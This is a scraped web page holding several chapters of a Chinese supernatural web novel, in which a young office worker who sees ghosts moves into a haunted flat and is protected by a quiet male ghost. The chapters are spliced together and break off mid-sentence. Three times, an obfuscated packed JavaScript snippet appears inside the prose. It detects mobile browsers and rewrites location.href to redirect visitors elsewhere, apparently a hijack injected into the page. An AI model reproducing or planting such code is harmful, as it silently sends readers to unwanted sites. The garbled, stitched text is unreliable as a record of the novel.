《鬼屋同居日常》 2. 第2章 公司 闻言，纪明霜非常淡定，“哦，略有耳闻。” “什么嘛，你居然住在这种地方，你应该到我家公司上班，再直接住进我家，我不收你的房租，还能包你的一日三餐，开车送你上下班……”靳尤白掰着手指数着，话里尽是不满。 “你又不用打卡，天天都要迟到，难道我要跟你一起迟到嘛？”纪明霜吐槽道。 “那个……如果我起得来，我就送你到公司，如果我起不来，你就骑你的小电驴嘛……”靳尤白突然意识到什么，“哎，你的心肝宝贝小电驴呢？” “来看房的时候就被我停到楼下的非机动停车场了。” “没有落下就好，我可不想再碰到那个讨厌的房东大妈了。”靳尤白眯了眯眼，有些警觉，“不对，话题怎么岔开了？” “没关系啦，尤白，这里离公司很近，离主城区也不远，附近商超的物价也不错，路况良好，适合我的小电驴，再说我已经交了三个月的房租，你都不知道这里的房租有多便宜……” 说着，两人走进了纪明霜的新家，纪明霜已经提前来大致打扫过了，墙壁和地板虽然老旧，但也算得上干净，房间里的温度不高，有股淡淡的土味儿，纪明霜把背包放在纸箱上，又从房间的桌面上拿过一瓶清酒和一次性纸杯，“要来喝一点吗，就当庆祝我迁新居。” “哦……”靳尤白环视着房间的布局，应了一声，这里虽然冷清了一些，但至少还算干净，没有因为常年潮湿而起的墙皮，纯白的地板也没有什么裂纹，整体来看还算不错，只是有种隐隐的违和感，因为这里又空荡，又逼仄。 纪明霜用纸巾仔细地擦了酒瓶，往纸杯里稍微倒了点清酒，给靳尤白递了过去。 想到男生一会还要开车，纪明霜没有给他递杯子，男生安静地站在靳尤白身后，没什么存在感。 靳尤白接过纸杯，“好吧……如果你下次遇到了什么事情，一定要给我打电话啊，我就算再忙，也能抽出时间给你的。” “好，谢谢你，尤白。”纪明霜笑着说。 靳尤白小声嘟囔了一句，“不用跟我客气的……” 第二天就是周一，靳尤白不想打扰她，早早道别离开了，不知道为什么，靳尤白隐隐有些不安，以至于她拿在手里的清酒都忘了喝。 回去的路上，靳尤白坐在副驾驶的位置，一边想着以前的事，一边用纸巾抿了抿口红，而后心不在焉地品尝了一口清酒，只是，入口的一瞬间，她就把清酒吐回了杯子里，瞬间的刺激让她几欲作呕，她捂着嘴，咳嗽得停不下来，“怎么回事，又苦又涩，好难喝！” 男生把车停在路边，给她递来一瓶高原冰川水，他的声音有些沙哑，“没……没事吧？” 靳尤白漱了漱口，又接过递来的纸巾，擦了擦嘴角，“算了，她那样精打细算，能买到什么好酒……下次给她带一瓶吧，但老爸酒窖里的酒度数都太高了……” …… 另一边，纪明霜把清酒放进了厨房的橱柜里，她先把床铺好，然后把物品一件件地从纸箱里拿出来，又一件件地放到各个房间里。天已经渐渐黑了，她赶紧去附近的商超买了必要的生活用品和今日份的晚饭，她提着四个塑料袋回来，手指被勒得生疼，在底楼的电梯间遇到了房东小陈哥。 小陈哥就住在她隔壁的公寓，从事写作的工作，作息非常不规律，也不经常运动，所以他的脸色不怎么好看，透着不健康的苍白，身材也非常走形，有些虚弱的肥胖。 纪明霜把塑料袋放下，按下了十三层的按钮，跟小陈哥聊了几句。小陈哥写东西赚不到钱，只能把闲置的房子出租，把闲置的车租出去开网约车，勉强维持生活这样。对了，这一整层楼都是他家的。 一边跟小陈哥聊天，一边走到了家门口，小陈哥还挺健谈的，一路上都在不停地讲话，还说起他以前的经历——他以前尝试创业，但创业失败了，不仅透支了信用卡，在外面还欠了一大笔钱，差点沦落到卖房子的地步，当时这事还闹得挺大的，和女朋友分手之后，他就搬回老房子独居。 “你都不知道，我当时只剩下50块，但要活一个月，整整一个月啊，我都得吃挂面！结果刚过了三天，视频软件的自动续费就扣了我28块！” “天哪，居然有这样的事……”纪明霜一边感叹，一边把购物袋放在地上，拿出了钥匙。 怎么会有人开通完自动续费之后不立马取消的啊。 “唉，谁说不是呢……”小陈哥叹了口气，走到了他家门口，他也住在13层，纪明霜家只隔着一个门的距离，因见他推门走了进去，纪明霜也回了家。 吃完晚饭之后，已经很晚了，纪明霜站在窗前，周围是如此寂静，静到只能听到她自己的心跳，她感觉自己像是被隔绝于现实世界之外，她走近窗边，这种感觉更甚，她盯着玻璃倒影中的自己，有些失神。 与此同时，玻璃也发生了变化，平面突然泛起了涟漪，如同雨后的湖面，只是这片湖面是深不见底的纯黑色，几团小小的黑影吸收了周围的黑暗，变得清晰起来，逐渐成了人形，能看得出来是一个脑袋很大，身体很细的小孩子，或者说婴儿？ 应该是个男孩吧，纪明霜想着。 纪明霜看着他，他也看着纪明霜，见他没有下一步的动作，纪明霜揉了揉眼睛，打了个哈欠，拉上了窗帘，转身回房间，上床睡觉。 明天还要上班呢！ 当晚，纪明霜没睡好，辗转反侧，因为她有点认床。 半夜醒来，她拿起手机看了看时间，凌晨3：22。 纪明霜的第一反应是——太好了，还能睡很久！ 她起身倒了杯水，凉水流入喉管，她顿时清醒了不少，转头就眼尖地看到窗帘后面有一双赤裸的小脚，那双小脚没有一点血色，甚至有些发青，每一根脚趾都是肿胀的，小小的趾甲是深紫色，有些不安地抓着地。 这鬼还挺礼貌的，没有站在她的床前看她，也没有和她躺成一排，一动不动地盯着她。 纪明霜没想到的是，她刚在心里夸了它，它就在小小的房间里不停地跑来跑去，后半夜，整整后半夜啊，第二天纪明霜起床的时候，内心是崩溃的。 小兔崽子，等我死了，我们打一架吧！ 早上，她提着包从楼里跑了出来，坐上了靳尤白的车，靳尤白把一个纸袋递给她，关切地问道，“昨晚没睡好吗？” “嗯，有点认床……其实你不用过来接我的，我有我的小电驴……”纪明霜点点头，打开了纸袋，是城东的很有名的网红早餐店，生煎包和牛肉粉丝汤。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419815|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “反正我又不用上班，也不用养家糊口，闲着也是闲着喽。” “难为你起这么个大早。” “因为我妈的要求啊，我每天晚上九点睡觉，早上五点起床，起床之后，先洗漱，然后上早课，吃早饭，然后上班，嗯，顺便接你上班，不过今天没什么事，去公司看看就行，所以我约了一节瑜伽课，下课之后接你一起吃午饭，时间正好呢。”靳尤白说，“看我新提的车，小粉红，怎么样，好看吧？” “好看，好看。” “行了，别光顾着看了，给你买的早饭要趁热吃，凉了就不好吃了。” “这东西味道很大啊，我到公司再吃吧，哎，你上次还跟我吐槽合作公司的老板身上有一股火锅味儿呢。” “他们是他们，你是你，他们哪能跟你比啊，霜霜，你可以在我的车上吃东西，哪怕是那个……那个小敏最近蛮爱吃但味道很重的食物……叫什么来着？” “螺蛳粉？”纪明霜小口地吃着热腾腾的煎包。 “对，螺蛳粉。” “你怎么对我这么好啊……” “没办法，谁让我们是好朋友呢！”靳尤白笑了笑。 靳尤白的车速很快，到公司之后，还没到打卡时间，纪明霜吃完了早饭，提着纸袋下了车，关车门之前，她回头说道，“对了，中午不用来接我了，我坐同事的车回去。” “等等，你今天第一天上班，除了那个秃头总管，你还认识哪个同事，喂，喂！” 纪明霜装作没听到，小跑了几步，把空纸袋扔进了不远处的垃圾桶里，而后进了公司大门。 这栋大楼里有很多公司，有刚刚创业的，有即将破产的，有稳定经营但不怎么赚钱的，少有稳定经营并且非常赚钱的，甚至还有违法犯罪的，上个月刚刚被抓走。 公司大厅人来人往，大家都行色匆匆，见到熟人也打招呼，却显得不够真诚与热络，无论是说话声还是脚步声，都被压得很低，不知道为什么，在这里工作总是让人觉得压抑，这和工作性质有一定的关系，持续高强度高压力的工作，会损害人的精神，但用玄学来解释，似乎跟风水也有关系。 其中一个老板也请人来看过风水，至于那些‘阴阳平衡’、‘行恶’、‘业报’、‘福报’之类的，他是半点没听，只是问，要怎么办，贴符箓还是供菩萨，贴什么，贴在哪里，供哪个，供在哪边？ 最后，他更是直接问，多少钱啊？ 风水先生听了，直接甩袖离去，让老板找个上清派的道士来看吧。 老板为了省钱，请了两个尼姑来敲木鱼，其中一个还有别的兼职，别说，人家还挺敬业，把传单从一楼发到二十二楼，如果办公室里没有人，她就把传单从门缝里塞进去，连总经理办公室都没放过，顺便提着编织袋收瓶子，一路走，一路收，没事翻翻垃圾桶，临走的时候拾了整整一麻袋，领到了当天的工资之后，向老板双手合十行了个礼，和另一个尼姑一起离开了。 但这栋大楼里不止一个公司啊，其它的老板自然要投诉，结局是看门的保安被罚款200元，外加通报批评。 嗯，罚款是常有的事，实际上，保安的收入并不会减少，这200元会变成奖金流回他的钱包，毕竟这栋楼有点邪，合适的保安并不好找。 4. 第4章 男鬼 “那……感谢提醒？” 周可音站直了身体，从包包里掏出一张黄纸，拍到纪明霜面前，“你这个人还真是有够无趣的……我这里有张符箓，你最好能随身带着。” 只是看了一眼，纪明霜就认了出来，这张符箓，居然和靳尤白拍照发给她的那张非常相似，无论是黯淡的黄纸，还是稠红的墨色，甚至符箓的字体，书写的笔迹都一般无二…… 好眼熟…… 纪明霜不由得多看了一眼。 人家还在面前，就把人家给的东西拿来左看右看始终是不太礼貌，况且听她这么说，似乎这件物品很有价值？ 纪明霜不好意思随便收下别人的东西，但当她抬头的时候，周可音已经离开了，真是来去如风。 这时，同办公室的同事阿姨推门走了进来，把两份文件放到了她的桌面上，“小霜，主管让你帮忙校对一下。” 纪明霜立刻接过文件，开始工作。 …… 上午的工作还算简单，只是阿姨实在是太热情了，让她感觉难以应付，最后不得不收下了阿姨亲手织的一条灰色毛线围巾，围着围巾去收了快递，纪明霜把符箓拿在手里左看右看，又从文件夹底下把周可音送的符箓拿了出来，对比看看，居然真的一模一样。 难道两张符箓的来源相同？ 纪明霜这样想着。 下班之后，靳尤白已经在公司门口等她了，两人去了美味汉堡店，靳尤白最近正在减脂，吃炸鸡都得剥掉脆皮，而纪明霜当着她的面吃了两个汉堡，两个鸡腿，一份薯条和若干鸡块。靳尤白都快看不下去了，“为什么啊，为什么你可以不用减肥啊……” 纪明霜正在吃鸡块，“我的爸爸和妈妈都很瘦诶，所以可能是因为遗传？” “我觉得应该不是因为这个……你爸妈吃得好素，怎么想都胖不起来吧。” “是吗……那可能是因为我在上班？” “没准还真是因为这个呢，你啊你啊，怎么总把自己折腾得这么辛苦呢……” 纪明霜已经用餐完毕，她摘下一次性手套，开始喝可乐，“咦……有吗？” 靳尤白叹了口气，“总之我先送你回家，我今晚要回A市，不知道什么时候才能回来，就没有办法接送你了，有什么需要拿给你爸妈的东西，或者想转达的话，都可以交给我。” “应该没有吧……”纪明霜咬了咬吸管。 “行吧，去见伯父伯母的时候，我会告诉他们，你现在很好，能吃能喝的，哼。” “那就谢谢啦，你也要注意安全，让司机别开太快了。” “知道了。” …… 纪明霜被送到楼下，走到家门口的时候，纪明霜给靳尤白发送了消息，报了个平安，她拉开门，沉重的铝合金门虽然没有生锈，但是早已老化了，门上的贴膜都花成一团，还有着大大小小的划痕，每次握住门把手的时候，纪明霜都会感觉到格外的冰冷。 当她进屋开灯之后，心更是凉了一截，今天早上临走的时候，她就注意到窗户有些关不住，虽然她刻意把窗户关得更紧了些，但这里楼层高，风大，现在窗户已经被吹得大开了，现在屋里不仅非常冷，地上床上还多了许多尘土，重量轻的物品也被吹得到处都是，窗帘也飘来荡去，再加上灯光明明灭灭，小孩子的脚步声无比清晰，纪明霜深吸了口气，随手抡起门口鞋架上的环保布艺购物袋就扔了过去，一瞬间，灯光就再次明亮，小孩子的身影也无影无踪。 纪明霜转身出门，去楼下便利店买了一把十字螺丝刀，花了大概一个小时，窗户总算是修好了，把窗户关得严严实实之后，纪明霜才整理了残局，今天实在是太累了，再加上那个小孩鬼也没有作乱，虽然仍然能听到窗外呼呼的风声，但纪明霜睡得很好。 只是半夜的时候，风声突然停止了，纪明霜突然惊醒，她撑着身体坐了起来，一阵寒意让她不由得抱紧了身体，她穿上拖鞋，披着毛毯，走到了客厅，这时，她看到了他。 纪明霜微微睁大了双眼， 他正坐在客厅的飘窗前，正遥望着永恒的夜空，听到她的声音，他回头看了一眼，而后又转过头去，不再看她。 大概是因为独特的体质，纪明霜见过很多鬼，比起鬼，其实更应该说是因为执念而徘徊人间的残破灵魂，比起回归宇宙，化为虚无，显然是徘徊人间更为折磨与苦痛，因此，他们往往面目全非，残缺不全，如果没有得到供养，就会日渐消减，看到他的第一眼，纪明霜就意识到，对方其实并不是人，但他的气质也并不像传统意义中的鬼，只有看见他的时候，纪明霜才能意识到，她注视着的，是对方悲伤又安静的灵魂…… 月光朦胧如雾，为他笼上一层白纱，他身上穿着简单的白色衬衫、深色的学院系西式制服外套和灰蓝色西裤，系着同色系的手打领带，他的发色纯黑，肤色冷白，柔和的月光化作点点寒星落入他静谧如湖泊一般的眼眸，那双眸子透着隐秘而高贵的清透色彩，如同没有丝毫杂质的宝石。 他的表情非常平静，他的眸子如此美丽，虽然只是一瞬间，但纪明霜居然从他的眼里看到了一种类似绝望的情绪，像已经自暴自弃的易碎的艺术品，重心即将落到展台的边缘，只要一股推力，一阵风，甚至是一个呼吸，他就会摔得支离破碎。 为什么会破碎呢…… 今晚的夜空多美啊。 纪明霜低下头，掩盖住眼里的情绪，心中唯有叹息。 实在是太可惜了，他看起来只有十七八岁啊…… 确认窗户是关好的之后，她喝了口水，转身回了房间，只是，鬼使神差的，她回头看了一眼，只见他靠着窗户，随意地扯了一下打好的领带，似乎意识到她的异常，他看了过来，但纪明霜已经走进了房间，关上了房门，她躺回床上，盖好被子，不知为何，她今晚睡得不错。 第二天出门的时候，纪明霜在门口看到了一个布娃娃，看上去像是投币一元就能玩的抓娃娃机里摆放的娃娃，灰粉色的皮肤，棕黑色的豆豆眼，头发是粗粗的毛线，露出明显劣质的灿烂笑容，这种娃娃在两元店里也不会受人眷顾吧，看上去它的成本只有几毛钱，纪明霜把娃娃翻过来一看，果然露出了不知名的类似棉花的纤维，但这些填充物明显不是棉花，这个娃娃实在是太轻了，如果作为小孩子的玩具……那实在是太劣质了。 纪明霜把娃娃提起来，扔进了楼下的垃圾桶里，她正准备去启动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419817|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的宝贝小电驴，就看到了亮粉色的轿车停在楼下，这辆车怎么有点眼熟呢……轿车此时也鸣笛，纪明霜快步上了车，靳尤白果然在副驾驶坐着，她用左手摘下墨镜，右手揉着双眼，看上去非常疲惫，王家的司机何叔从后视镜里跟纪明霜打招呼，笑呵呵的，非常和气。 “小纪，好久不见了。”何叔启动了车辆。 “何叔，好久不见，你们是特意过来接我的？” 靳尤白继续闭目养神，“我在那边办完事之后，就连夜回来了，我去公司打完卡之后就去办公室补觉，真的好困啊……” “怎么这么着急，是有什么事吗？” “我能有什么事，现在在操心的是我老爸，我就是去混日子的，哈欠……等再过两年，我就有的忙了。” “怪不得先生总是说小姐太懒散了，要是一直这样，以后怎么管理公司呢？”见靳尤白直接装鸵鸟不说话了，何叔转而对纪明霜说道，“我们先生也很欣慰，小姐能交到好朋友，听说两个朋友玩久了就会变得相像，希望小姐能跟纪小姐多学习学习，变得成熟一些，不要和那种不三不四的人交往……” “何叔，你这是点我呢？这是老爸让你跟我说的？” “小姐……” 何叔说了一半，话就被打断了，靳尤白说，“哼，这是我的事，你去转告他，让他管好他自己！” 然而，纪明霜在此时并没有加入对话的心情，晚秋的季节，早起的晴光又浅又冷，早起打工的行人满身刚醒的倦意，在经过路边槐树斑驳的阴影时，在后视镜里一闪而过的身影吓了她一跳，她一眼就认出了，居然是昨晚遇到的男鬼？ 纪明霜坐在后座的左边，他坐在后座的右边，依旧是穿着偏正统系的制服，正撑着脸看向车窗外面，何叔开了三十多年的车，开车技术很好，又稳又快，路上新植的光秃秃的行道树把阳光切成条，从他的身上快速略过，阳光对他来说只是一种略显温暖的错觉，他沉默和安静在此时显得更加落寞。 并不是所有人死后都会变成鬼，大多数人死后都会回归宇宙之中，只有很少数的人死后灵魂脱离了身体，在人间游荡，他们大多会在生前生活的地方徘徊，少数会附身于某件特殊的物品，至于灵魂完全或者部分挂在活物上的，就更少了……这是纪明霜在某本手记上看到的内容。 不知道为什么，纪明霜有一种强烈的预感，这个男鬼其实是跟着她的。 但是为什么？ 就算是像纪明霜这样天生就能看到普通人看不到的东西的人，也只是稍微能了解一些死亡海面之下的领域，至于更多的未知，根本完全无从求证，在这个领域，偶尔摸出一点规律，自以为掌握了真理，是常有的事，纪明霜也常常会有这样的错觉，但有一点需要注意，那就是永远都有例外。 在其它的领域暂且不论，但在这个领域，纪明霜最不想遇到的就是例外。 他的身影也只出现了一会儿，就又消失了，借着和靳尤白说话的机会，纪明霜坐到了他所在的位置，看向了他刚才看着的方向，他刚才在看着副驾驶位置的后视镜，后视镜里是靳尤白的脸。 那一瞬间，纪明霜在靳尤白的脸上看到了一个阴森可怖的鬼影。 6. 第6章 纸钱 这个小娃娃原本应该是白色的，但现在已经变得灰扑扑的一片了，身上开线的地方漏出灰灰的棉花，闻着似乎还有一股霉味，纪明霜有些嫌弃地把娃娃提起来，丢进了楼道的垃圾桶里，而后开门进家，把东西放下，把手洗干净，开始做饭。 依旧是简单的速食晚餐，纪明霜一边吃着晚饭，一边对着手机发呆，吃完之后，她开始整理最近买来的东西，嗯，先把吃的东西都放到厨房去。 大概整理了一下物品，纪明霜又往手提包里丢了一包纸巾，然而，不知道为什么，她似乎在包包里摸到一种又冷又黏的湿意，她伸出手，看到手指上多了一抹暗红，她赶忙把包包里的东西都倒了出来：手机支架、手机充电线、耳机、靳尤白送的高级口红、最近刚发的工作证、门禁卡，钥匙、刚刚扔进去的纸巾，最后掉出来的则是两张折在一起的纸片，一张是长方形的黄色符纸，另一张是外圆内方的红色纸钱。 房间的窗户明明是关好的，但她周围却有着阵阵的凉风，寒意从背脊直通后脑，插进心脏，黄色的符纸上沾有长长的红色细线，此刻正在以肉眼可见的速度不断蔓延，而外圆内方的红色纸钱完全被红黑色的不明液体浸透了，而这种不明液体还在不停地往下滴落，滴滴答答，仿佛是某种不祥的预兆。 纪明霜的第一反应就是赶紧把纸钱撕掉，然而，这也可能是怨魂的障眼法，也就是所谓的‘鬼遮眼’，如果撕错反而会陷入危险，现在符纸的效力正在不断下降，干脆把两张一起撕掉，反而会更安全。 纪明霜做出了正确的决定，但似乎已经来不及了，在她的手接触到两张纸的一瞬间，她就失去了身体的控制权。 不知从哪而来的‘她’接管了纪明霜的身体，并代她收下了那张血淋淋又湿漉漉的纸钱，那张纸钱现在还在不停地冒着血，早已突破了一张纸所能吸收液体的极限，‘她’把纸钱用力地按在心口，纪明霜感受到了阴冷的、令人不安的触感和温度，而后‘她’缓缓地坐了起来，‘她’似乎并不适应拥有一具躯体的感觉，所以‘她’一节一节地立了起来，先是小腿，然后是大腿，维持着一个下腰的动作，‘她’似乎有点疑惑，为什么还没站起来，为什么现在会眼前发黑，呼吸困难。 嗯，纪明霜确实没有任何的舞蹈基础，这个动作也太为难了。 而后，‘她’选择了把小腿和大腿折叠着，躺了下来，像一个用触觉感受世界的聋哑人一样，用双手在周围摸索着，过了一会儿才缓缓坐起，勉强保持着一个用双手在后方撑着身体的动作，而‘她’的头颅还是没什么力气，软绵绵地后仰着，像是颈部骨折了一般。 再然后，‘她’用一只手撑着地面，另一只手扯着头发，才把头抬了起来，纪明霜能感觉到，脸上的肌肉正在不停地抽动，嘴角疯狂地上扬，脸都累得生疼。 ‘她’应该是在笑吧，纪明霜大概脑补了一下自己脸上堪称变态的笑容。 这、这种事不要啊！ 救……谁来救一下啊！ 人固有一死，但纪明霜真的不想死到临头了还丢大人。 ‘她’摇摇晃晃地站了起来，把歪得像落枕一样的脑袋扶正，像个学步的孩子一样开始走路，‘她’走进了浴室里，打开灯，对着镜子端详着纪明霜的面容，‘她’的眼神幽幽的，双眼不会转动，没有聚焦，不会眨眼，瞪得生疼，如同早已死去的鱼眼，只是眼里还闪过一丝诡异的光。 ‘她’似乎还不适应走路，所以还是选择在家里爬来爬去，路过从包包里倒出来的东西，‘她’还好奇地摸了摸，闻了闻，甚至还打开口红咬了一口，爬到厨房之后，她用手指紧紧地扣着台面，勉强站了起来，抓起了纪明霜买来消毒用的一大瓶75%酒精，拧开盖子，从头淋下，如同淋浴一般，纪明霜心中有个不太好的猜测，当‘她’又拿出纪明霜之前扫码领的带着男科医院广告的打火机的时候，纪明霜心如死灰。 不是吧…… 纪明霜是想要反抗的，但这种反抗实在太过无力，自己的灵魂被收下的纸钱镇住了，因此，纪明霜只能眼睁睁地看到自己的身体失去平衡，倒在地上，透明冰凉的液体‘汩汩’地流了一身一地，‘她’摔倒时仍然紧握着手中的打火机，眼看她就要按出火苗，纪明霜想，这下完蛋了。 然而，预想中的烈火灼肤并没有到来，那一瞬间，纪明霜在窗户的反光中看到了他的身影，而后彻底失去力气，闭上双眼，倒在地上，动弹不得，她感觉自己的灵魂有种脱离身体的抽离感，但又有一种回归身体的牵引力，那种并不强大但温柔如同春日微风的外来力量留住了她的灵魂，作为这具身体的原主，纪明霜能感觉到，身体里的入侵者似乎已经换人了。 于是，纪明霜看着‘自己’把打火机扔到一边，又把衣兜里的纸钱拿出来撕成两半，丢进地上的酒精水泊里，纪明霜能看到黑红色纸钱里可视化力量的迅速消散，腥红缓缓褪去，这张纸钱又变回了原本毫无力量的纸片了。 ‘自己’先去浴室打开了热水器的开关，又回到房间，从衣柜里拿出换洗衣物和洗浴用品，进浴室脱下衣服，开始洗澡，湿热的水流滑过她的身体，‘自己’虽然闭上了双眼，但她能够感受到水气、水声、水流、还有手指的触感和香香的沐浴露气味，刚才的‘她’让她觉得很难受，很不适，像移植了心脏但没吃抗排斥药的发烧感受，但现在的‘自己’让她觉得无端觉得很熟悉，很亲切，是难得的，久违的感受。 虽然如此，纪明霜还是想说，那个，你可以从我身体里面出去吗，我可以自己洗的。 纪明霜现在就是很困，很想睡觉，这种疲倦并不是身体层面的，而是精神层面的，或者说灵魂层面的，大概是觉得已经脱离了危险，于是就在昏昏欲睡和半梦半醒两个状态之间来回转换，纪明霜当然知道，现在还不是放松警惕的时候，但她现在已经软得像融化的香草冰激凌一样了，理智告诉她，他只是第二位不速之客，他甚至还没有从她的身体里出去，但从情感上来说，甚至纪明霜自己都说不出任何原因，但她愿意相信他并不会伤害自己。 只见‘自己’擦干身体，穿上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419819|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣服，先把泡得软塌塌的纸钱扔进马桶里冲掉，接着开始收拾厨房的残局，把地上的酒精清理掉，再全屋擦两遍地，又把自己之前从超市买来的并没有仔细收拾的东西放到厨房的架子上。 纪明霜觉得，‘自己’应该是有洁癖和强迫症的，‘自己’在擦地的时候，就连边边角角也擦得干干净净，在摆弄这些瓶瓶罐罐的时候，把每一个罐子都用布巾擦干净，把贴有标签的一面朝着外面，按功能和大小的双重标准，分门别类放置得整整齐齐。 而后把弄脏的每一件衣服洗干净，挂在衣架上晾好，又把浴室擦干净，连一根头发丝都看不到，最后才开始给自己吹头发，在温柔的暖风中，纪明霜再也坚持不住，昏睡了过去，她都不知道自己是怎么上床的，只是迷迷糊糊地觉得，床果然是这个世界最幸福的地方，当她睡醒的时候，天已经快亮了。 这次醒来之后，她重新得到了对身体的控制权，除了感觉有些疲惫之外，身体并没有什么异样，甚至吹风机带来的温暖犹在耳畔，她掀开被子，坐了起来，穿上拖鞋，起床喝水，他果然还在阳台的窗户前，只是这次，在纪明霜磨磨蹭蹭地小口喝水并趁机偷偷看他的时候，他也正在注视着她，似乎还轻轻地叹了口气。 纪明霜默默移回了目光，让你这么费心还真是抱歉啊。 一般情况下，纪明霜的原则是，不要让鬼知道你能看见它，不要和鬼对视，更不要和鬼说话，如果普通人被鬼盯上，就算不死也会非常倒霉，本来讨生活就忙忙碌碌的，还挣不了几个钱，何必去管那些无关的事，总之是多一事不如少一事。 但纪明霜也不是没有跟鬼说过话，公司电梯里那个看着吓人但实际上弱鸡的鬼就不提了，纪明霜还见过这样的情况，一个因为加班而猝死的人，在上了两天的班之后，才意识到自己已经死了，而且没有工资，没有补贴，没有加班费，他气到恨不得诈尸，那时，那个鬼双眼暴凸，布满血丝，脸色灰暗，面目狰狞，他的嘴里每吐出一个字，都会冒出一股黑血，他一字一顿地说，纪明霜，你好狠。 纪明霜双手合十：对不起，但我的工作量太大了，如果没有你帮忙，死的人就是我了，而且，刚刚主任发消息给我，甲方觉得最开始的那一版最好，问我能不能想办法改回去。 对方立刻就释怀了，怨气也消散了，整个鬼都正常了不少，甚至露出了幸灾乐祸的神情，直到现在，纪明霜仍然记得他对她说过的最后一句话，他说，纪明霜，你也有今天，你活该，哈哈哈哈。 然后他就升天了。 嗯……怎么不算是功德一件呢。 …… 所以，现在跟他说句话应该也是可以的吧…… 毕竟对方不仅救了自己一命，还帮自己做了很多家务。 纪明霜放下水杯，对上他如同月色中的湖泊一般的双眸，她一时之间把大脑中整理的语句忘得一干二净，只是干巴巴地说，“那个，谢谢你救了我……” “哈？”对方明显非常意外，“纪明霜，你这次居然能看到我？” 7. 第7章 林然 这次？ 什么这次？ 除了这次，还有哪次？ “我不明白，你说的是什么意思……” “纪明霜，你今天遇到的事，不是第一次，也不会是最后一次，接下来的一段时间，你会非常容易死掉，如果你想活下去，一定要多加小心。” “……非常容易死掉？”纪明霜有点宕机。 “是的，比如跟同事一边聊八卦一边下楼梯时一脚踩空摔死，你的同事也摔了下去但只是擦伤，比如看见一根很长的鸽子羽毛就想去捡，但楼上夫妻吵架扔了台老式电视机下来正中你头顶，比如睡觉时裹着被子从床上摔下去之后夹在床和墙壁之间动弹不得差点窒息而死，幸亏你睡觉前正在玩手机勉强用语音助手打了120，但最后你也没活下来因为救护车司机为抄近路走了西环桥，但他不知道平时畅通无阻的西环桥上发生了连环车祸，很遗憾这条堵得死死的跨河大桥上并没有应急车道，等他们赶到的时候你差不多已经断气一个小时了，再比如你走路的时候踢飞了一根骨头被狗追时慌不择路撞树昏倒时被老太太积攒功德用的放生毒蛇咬死，集体跳绳比赛被绳子绊倒摔到后脑当场去世，而且你是个运动白痴，才跳第一下就被绊倒了……” 虽然对方的表情很严肃，语气很认真，但迟钝如纪明霜还是发现了其中的漏洞：“等等等等……我再怎么倒霉也不至于死这么多次吧。” “呵呵，是啊，我想我再怎么倒霉也不至于看你死这么多次吧，而且等你死掉之后，我就会回到你过来看房的那天，但你永远都看不到我……嗯，除了这次。” 对于他说的话，纪明霜持怀疑态度。 拜托，无论是谁，刚睡醒就听到这么一番话都会觉得是梦还没醒吧。 要不是对方确实救了她的命，她现在就直接回房间睡觉了。 “再比如说，你今晚带着‘那东西’回来，它看见了我，我也看见了它，我把它拦在外面了，但不知哪来的孤魂野鬼还是上了你的身，唉，毕竟这里的孤魂野鬼出奇得多……” “‘那东西’是什么，我怎么没看到？”纪明霜眯了眯眼，“难道电梯里的外卖小哥就是看到了‘那东西’？” “啊，那倒不是因为这个……是因为他看到你在跟你的房东说话，而在他眼里，你正在跟空气说话，他大概是觉得，要么是这里有鬼，要么是你有精神病，反正都挺可怕的。” 纪明霜默默脑补了一下外卖小哥的视角，感觉这个场景确实是蛮吓人的，只能在心里对外卖小哥说声抱歉了。 “所以我的房东也不是人，那这套房子我还能住吗……我已经交了一个季度的房租啊……” “要不下次见面问一下？虽然你的房东现在就在你隔壁的隔壁，不过他现在可能不敢见你，他之所以把房子租给你，也是有一些小心思的，只不过有贼心没贼胆，感觉他和路边的普通野鬼差不多吧……总之对你没什么威胁。” “其实我也这么觉得……”纪明霜小声吐槽，又转而问道，“你说的‘那东西’是什么，我收到的纸钱是谁给的，今早在靳尤白的车上，你是看到了什么吗？” “你的问题能不能一个一个问啊，还真是不客气，我又不是搜索引擎……”虽然这么说，但他的回答还是很认真，“‘那东西’是一片黑漆漆的影子，勉强能看出人形的轮廓，因为它是贴在你的背后的，所以你根本看不见，这几天来，它变得和你越来越相似，似乎已经开始练习适应你的身体了。” “它是从什么时候贴在我身后的？” “昨天来过两次吧，今天又来，趁你摸鱼的时候从办公室门缝里流进来的，然后就跟着你回了家，在公司的时候，它的力量很强，我打不过它，只好等它变得虚弱的时候再把它赶走了……但这也不能代表危险是来自公司，你无论在哪都很容易死掉，这种来自鬼魂的危险我还能帮一点忙，那种连环意外我是真的帮不了你，总之，你要努力活下去。” 